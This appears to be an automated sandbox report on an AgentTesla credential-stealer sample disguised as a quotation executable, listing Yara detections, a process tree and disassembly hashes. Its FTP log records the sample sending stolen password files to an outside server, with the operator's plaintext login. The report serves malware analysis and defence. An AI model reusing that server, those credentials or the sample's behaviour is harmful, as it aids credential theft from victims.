2024-10-02 13:45:23 UTC	8000	IN	Data Raw: 3e fc 12 86 19 37 75 97 46 5b 31 54 40 ea 61 21 28 09 79 28 97 ba a9 23 6b 7a 5a 4f ed 4d 06 2e 73 79 9f 8e 95 0e 0c 42 2a 8e 7a 62 9c 8d 4d b6 34 70 49 3e b7 fc 26 b8 73 ac 0a 8c bb 62 bb 79 f5 71 91 21 c2 a1 5f 8f 15 88 a4 ed 05 79 e8 43 10 18 74 c2 91 1c 6a 12 61 6d 68 c0 aa e6 33 e8 b7 03 37 9e 77 f7 82 59 44 a7 14 50 f9 45 33 0c 22 72 b0 90 3e 93 74 6f f6 cd 16 73 b8 42 cf d1 53 ce 1a b3 74 c4 90 ca e6 fa 82 41 1e d7 f8 a1 8e 8a 98 b8 e1 5c d4 2b e7 47 fe b5 b4 39 98 58 7c f1 f2 e7 8b 6a 61 26 27 35 5d 9a 8c fa 27 e3 e8 15 ba ed c4 42 da d9 78 13 54 aa 63 41 fa 81 29 99 63 92 09 3a 9a 1c c4 e5 62 ba ba 93 a8 77 ff e1 e3 e5 d7 d2 ce 14 4f 01 f7 e0 1d 4e e2 da 89 3e b8 d3 5d 8f ab 0d 0b d1 cc d6 72 4f 63 a1 21 65 1e 40 bb 41 ed 89 63 32 f0 1c 3c 58 d7 Data Ascii: >7uF[1T@a!(y(#kzZOM.syB*zbM4pI>&sbyq!_yCtjamh37wYDPE3"r>tosBStA\+G9X\|ja&'5]'BxTcA)c:bwON>]rOc!e@Ac2<X

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 2, 2024 15:45:06.380393028 CEST	21	53088	5.2.84.236	192.168.2.10	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 2, 2024 15:45:06.381259918 CEST	53088	21	192.168.2.10	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 2, 2024 15:45:06.610336065 CEST	21	53088	5.2.84.236	192.168.2.10	331 User fgghv@alternatifplastik.com OK. Password required
Oct 2, 2024 15:45:06.610460043 CEST	53088	21	192.168.2.10	5.2.84.236	PASS Fineboy777@
Oct 2, 2024 15:45:06.910408020 CEST	21	53088	5.2.84.236	192.168.2.10	230 OK. Current restricted directory is /
Oct 2, 2024 15:45:07.139238119 CEST	21	53088	5.2.84.236	192.168.2.10	504 Unknown command
Oct 2, 2024 15:45:07.140248060 CEST	53088	21	192.168.2.10	5.2.84.236	PWD
Oct 2, 2024 15:45:07.368819952 CEST	21	53088	5.2.84.236	192.168.2.10	257 "/" is your current location
Oct 2, 2024 15:45:07.369743109 CEST	53088	21	192.168.2.10	5.2.84.236	TYPE I
Oct 2, 2024 15:45:07.600334883 CEST	21	53088	5.2.84.236	192.168.2.10	200 TYPE is now 8-bit binary
Oct 2, 2024 15:45:07.600740910 CEST	53088	21	192.168.2.10	5.2.84.236	PASV
Oct 2, 2024 15:45:07.830780029 CEST	21	53088	5.2.84.236	192.168.2.10	227 Entering Passive Mode (5,2,84,236,197,236)
Oct 2, 2024 15:45:07.838990927 CEST	53088	21	192.168.2.10	5.2.84.236	STOR PW_user-123716_2024_10_02_09_45_04.html
Oct 2, 2024 15:45:08.469501972 CEST	21	53088	5.2.84.236	192.168.2.10	150 Accepted data connection
Oct 2, 2024 15:45:08.698957920 CEST	21	53088	5.2.84.236	192.168.2.10	226-File successfully transferred 226-File successfully transferred226 0.230 seconds (measured here), 1.35 Kbytes per second
Oct 2, 2024 15:45:19.082365036 CEST	21	53091	5.2.84.236	192.168.2.10	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 2, 2024 15:45:19.082648993 CEST	53091	21	192.168.2.10	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 2, 2024 15:45:19.306176901 CEST	21	53091	5.2.84.236	192.168.2.10	331 User fgghv@alternatifplastik.com OK. Password required
Oct 2, 2024 15:45:19.308649063 CEST	53091	21	192.168.2.10	5.2.84.236	PASS Fineboy777@
Oct 2, 2024 15:45:19.552083969 CEST	21	53091	5.2.84.236	192.168.2.10	230 OK. Current restricted directory is /
Oct 2, 2024 15:45:19.776896000 CEST	21	53091	5.2.84.236	192.168.2.10	504 Unknown command
Oct 2, 2024 15:45:19.777229071 CEST	53091	21	192.168.2.10	5.2.84.236	PWD
Oct 2, 2024 15:45:20.000653982 CEST	21	53091	5.2.84.236	192.168.2.10	257 "/" is your current location
Oct 2, 2024 15:45:20.001111984 CEST	53091	21	192.168.2.10	5.2.84.236	TYPE I
Oct 2, 2024 15:45:20.227247000 CEST	21	53091	5.2.84.236	192.168.2.10	200 TYPE is now 8-bit binary
Oct 2, 2024 15:45:20.227432966 CEST	53091	21	192.168.2.10	5.2.84.236	PASV
Oct 2, 2024 15:45:20.450651884 CEST	21	53091	5.2.84.236	192.168.2.10	227 Entering Passive Mode (5,2,84,236,209,201)
Oct 2, 2024 15:45:20.456752062 CEST	53091	21	192.168.2.10	5.2.84.236	STOR PW_user-123716_2024_10_02_09_45_17.html
Oct 2, 2024 15:45:21.777369022 CEST	21	53091	5.2.84.236	192.168.2.10	150 Accepted data connection
Oct 2, 2024 15:45:21.777765989 CEST	21	53091	5.2.84.236	192.168.2.10	150 Accepted data connection
Oct 2, 2024 15:45:21.777951956 CEST	21	53091	5.2.84.236	192.168.2.10	150 Accepted data connection
Oct 2, 2024 15:45:22.006131887 CEST	21	53091	5.2.84.236	192.168.2.10	226-File successfully transferred 226-File successfully transferred226 0.925 seconds (measured here), 343.87 bytes per second
Oct 2, 2024 15:45:27.104316950 CEST	21	53098	5.2.84.236	192.168.2.10	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 2, 2024 15:45:27.104588032 CEST	53098	21	192.168.2.10	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 2, 2024 15:45:27.336613894 CEST	21	53098	5.2.84.236	192.168.2.10	331 User fgghv@alternatifplastik.com OK. Password required
Oct 2, 2024 15:45:27.336759090 CEST	53098	21	192.168.2.10	5.2.84.236	PASS Fineboy777@
Oct 2, 2024 15:45:27.580851078 CEST	21	53098	5.2.84.236	192.168.2.10	230 OK. Current restricted directory is /
Oct 2, 2024 15:45:27.807790041 CEST	21	53098	5.2.84.236	192.168.2.10	504 Unknown command
Oct 2, 2024 15:45:27.808034897 CEST	53098	21	192.168.2.10	5.2.84.236	PWD
Oct 2, 2024 15:45:28.035700083 CEST	21	53098	5.2.84.236	192.168.2.10	257 "/" is your current location
Oct 2, 2024 15:45:28.035887957 CEST	53098	21	192.168.2.10	5.2.84.236	TYPE I
Oct 2, 2024 15:45:28.262090921 CEST	21	53098	5.2.84.236	192.168.2.10	200 TYPE is now 8-bit binary
Oct 2, 2024 15:45:28.262391090 CEST	53098	21	192.168.2.10	5.2.84.236	PASV
Oct 2, 2024 15:45:28.488565922 CEST	21	53098	5.2.84.236	192.168.2.10	227 Entering Passive Mode (5,2,84,236,213,10)
Oct 2, 2024 15:45:28.494559050 CEST	53098	21	192.168.2.10	5.2.84.236	STOR PW_user-123716_2024_10_02_09_45_25.html
Oct 2, 2024 15:45:29.107985020 CEST	21	53098	5.2.84.236	192.168.2.10	150 Accepted data connection
Oct 2, 2024 15:45:29.337250948 CEST	21	53098	5.2.84.236	192.168.2.10	226-File successfully transferred 226-File successfully transferred226 0.227 seconds (measured here), 1.37 Kbytes per second

Target ID:	0
Start time:	09:45:00
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe"
Imagebase:	0xc80000
File size:	834'048 bytes
MD5 hash:	0AD77182F6AEAE3ADFA6CCC0AA964A5E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1314285798.0000000006370000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1293164853.00000000030D8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1293164853.00000000034AD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1311199102.000000000435B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:45:03
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x160000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1423172719.00000000024DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1423172719.0000000002491000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1423172719.0000000002491000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1420182584.0000000000532000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:45:13
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Roaming\Egmgti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Egmgti.exe"
Imagebase:	0xa30000
File size:	834'048 bytes
MD5 hash:	0AD77182F6AEAE3ADFA6CCC0AA964A5E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1447777851.0000000003EE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.1422897756.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1422897756.0000000002F08000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:45:16
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x370000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.1504620567.00000000026AE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.1504620567.000000000266C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.1504620567.000000000266C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:45:21
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Roaming\Egmgti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Egmgti.exe"
Imagebase:	0x6f0000
File size:	834'048 bytes
MD5 hash:	0AD77182F6AEAE3ADFA6CCC0AA964A5E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.1537444101.000000000400D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.1537444101.0000000003DE8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:45:24
Start date:	02/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xef0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.2520008251.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.2520008251.0000000003277000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	96.5%
Signature Coverage:	2.8%
Total number of Nodes:	432
Total number of Limit Nodes:	14

Executed Functions

Function 064CCF6D Relevance: 2.8, Strings: 2, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<EY_, xrefs: 064CCDE2
qo7, xrefs: 064CD05C

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: <EY_$qo7
API String ID: 0-2595404576
Opcode ID: a59d1e4b6a48528463ff026b35963a62a852c9aaa04c1e2384ffbe56b006c1b8
Instruction ID: 051d73d0e804c148b46ef1012b7e5af43808cf9c7cf632b7e7e1915bb43f50c0
Opcode Fuzzy Hash: a59d1e4b6a48528463ff026b35963a62a852c9aaa04c1e2384ffbe56b006c1b8
Instruction Fuzzy Hash: F4D1E0B8D41218CFDB94CFA8D894BAEBBB2FB49314F10816AD41AA7350DB385D85CF54

Function 06482D60 Relevance: 2.4, Strings: 1, Instructions: 1107COMMON

Download Yara Rule

Strings

4, xrefs: 06483735

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 3e54b48168c9437119e5b986db753badee87a3ac86e49ef5489da82f4d3694c4
Instruction ID: 9d71c2d2d7f0e6dfb82cd8655037130a3fbafdccbe15c65e3411be1a5a46df96
Opcode Fuzzy Hash: 3e54b48168c9437119e5b986db753badee87a3ac86e49ef5489da82f4d3694c4
Instruction Fuzzy Hash: A1B20734A00218DFDB55DFA8C894BAEB7B6BF48700F1485AAE505AB3A5CB70DD81CF50

Function 0138B28D Relevance: 2.3, Strings: 1, Instructions: 1095
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 0138BDE8

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 28dc9fc498207a52b875dbba5df8b61db3f7863dc902beb9cd9d43cc74d4b44f
Instruction ID: a95eb3935d983e0d31d71a498747025746b836243f5bcd3ac77d2d692fc9c2ec
Opcode Fuzzy Hash: 28dc9fc498207a52b875dbba5df8b61db3f7863dc902beb9cd9d43cc74d4b44f
Instruction Fuzzy Hash: FDC2B0B4E002298FDB65DF68C884BD9BBB6FB89304F1081E9D509A7355DB34AE85CF50

Function 0649C9F0 Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

8, xrefs: 0649CAFC

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 1ddc7174ada0d7cb33d3bb765a8c2e6a67fd16cd18c4cff047cda33cc102d0f6
Instruction ID: 8c19200452203751f75ffdca92d317468af14a68fa128b77a258db038a216057
Opcode Fuzzy Hash: 1ddc7174ada0d7cb33d3bb765a8c2e6a67fd16cd18c4cff047cda33cc102d0f6
Instruction Fuzzy Hash: 6442A275D006298FDB64DF69C850AD9BBB2BF89310F1486EAD40DA7351DB70AE81CF90

Function 06483087 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 06483735

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: ada71333f68196dc835a43abde549d16aeb1506a792717dc001c8431b2b440c4
Instruction ID: 83ab12a6832b10774e2ee1b20a52d8ba73207d60eb05b823ebca44cf5e02f76a
Opcode Fuzzy Hash: ada71333f68196dc835a43abde549d16aeb1506a792717dc001c8431b2b440c4
Instruction Fuzzy Hash: 57221A34A00218DFDB66DFA4C994BADB7B2FF48710F1481AAD509AB395DB709D81CF50

Function 0649FBA1 Relevance: 1.6, APIs: 1, Instructions: 108nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0649FC5D

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 304990e970727d3e49a0b7153879b674f2e1fc5112d1fe0d4ff16998659fdf18
Instruction ID: 1d9458a982a5f53c25f20be597425e9ea791cbb49b34dae92d62ea4f52ad0c87
Opcode Fuzzy Hash: 304990e970727d3e49a0b7153879b674f2e1fc5112d1fe0d4ff16998659fdf18
Instruction Fuzzy Hash: EE41A8B8D042589FCF10CFAAD880ADEFBB5FB49310F10902AE818B7200C775A945CF64

Function 0649FBA8 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0649FC5D

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: aa08bf979d660a5b29c057f18798eca4ad6539e0418c6c6f1f2cb752276c25cd
Instruction ID: 926a90ad47acffae97f93fe499848e33dcdb6c5bd83bb18bdda3a7d547dc2d19
Opcode Fuzzy Hash: aa08bf979d660a5b29c057f18798eca4ad6539e0418c6c6f1f2cb752276c25cd
Instruction Fuzzy Hash: 0E4199B5D042589FCF10CFAAD980ADEFBB1BB49310F10902AE814B7310D775A945CF64

Function 064C10E8 Relevance: 1.6, APIs: 1, Instructions: 87nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 064C117E

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 89a98b079debc8092aaab32e3199cd96890a2202b8f24c07554017db5a5bfaf5
Instruction ID: 9c85dc72d322ce3c63c8a6c8c809b3f7a39f1d9181254afd829c18388b3902fc
Opcode Fuzzy Hash: 89a98b079debc8092aaab32e3199cd96890a2202b8f24c07554017db5a5bfaf5
Instruction Fuzzy Hash: 4231BDB4D012189FDB10CFA9D880ADEFBF5BB49310F24942AE814B7300C775A945CFA4

Function 064C10F0 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 064C117E

Memory Dump Source

Source File: 00000000.00000002.1314902949.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64c0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0efa85bdb623c71cdd4da2d9aa2b1fcc77bb4666bf082eaaa9c4433983886251
Instruction ID: 8a1e8d3da451ee63a1259bce6fb1d27f8ba040495d19842fefcc3f7401b680bd
Opcode Fuzzy Hash: 0efa85bdb623c71cdd4da2d9aa2b1fcc77bb4666bf082eaaa9c4433983886251
Instruction Fuzzy Hash: 7731ABB9D012189FDB10CFA9D980ADEFBF1BB49310F20942AE814B7300C775A945CF94

Function 0649C9E0 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

h, xrefs: 0649CAF0

Memory Dump Source

Source File: 00000000.00000002.1314738370.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6490000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: eddb3b2546c30103bcb82a393d64c9ac73fb57888e3c19d4dc3c5bf2f609e4ff
Instruction ID: a314eb3d6e56ba9659757a0faa38fb850833e67b19df0a5e9eea5834cf6dabfd
Opcode Fuzzy Hash: eddb3b2546c30103bcb82a393d64c9ac73fb57888e3c19d4dc3c5bf2f609e4ff
Instruction Fuzzy Hash: A971E871D006289BEB64DF6AC8507D9FBB2BF89300F54C2EAC40DA7251DB305A85CFA0

Function 01388BC0 Relevance: 1.0, Instructions: 983COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357f79db6e5c8608377e5388cc048bde054a1b5a85420957c7a17d81d2d8a61b
Instruction ID: 5272a0de30c19b82303d1c185e3909a16975d9890e131c23676771956ea25f5a
Opcode Fuzzy Hash: 357f79db6e5c8608377e5388cc048bde054a1b5a85420957c7a17d81d2d8a61b
Instruction Fuzzy Hash: 55A2B575A00228CFDB65DF69C884B99BBB2FF89304F1581E9D509AB365DB319E81CF40

Function 0138C694 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

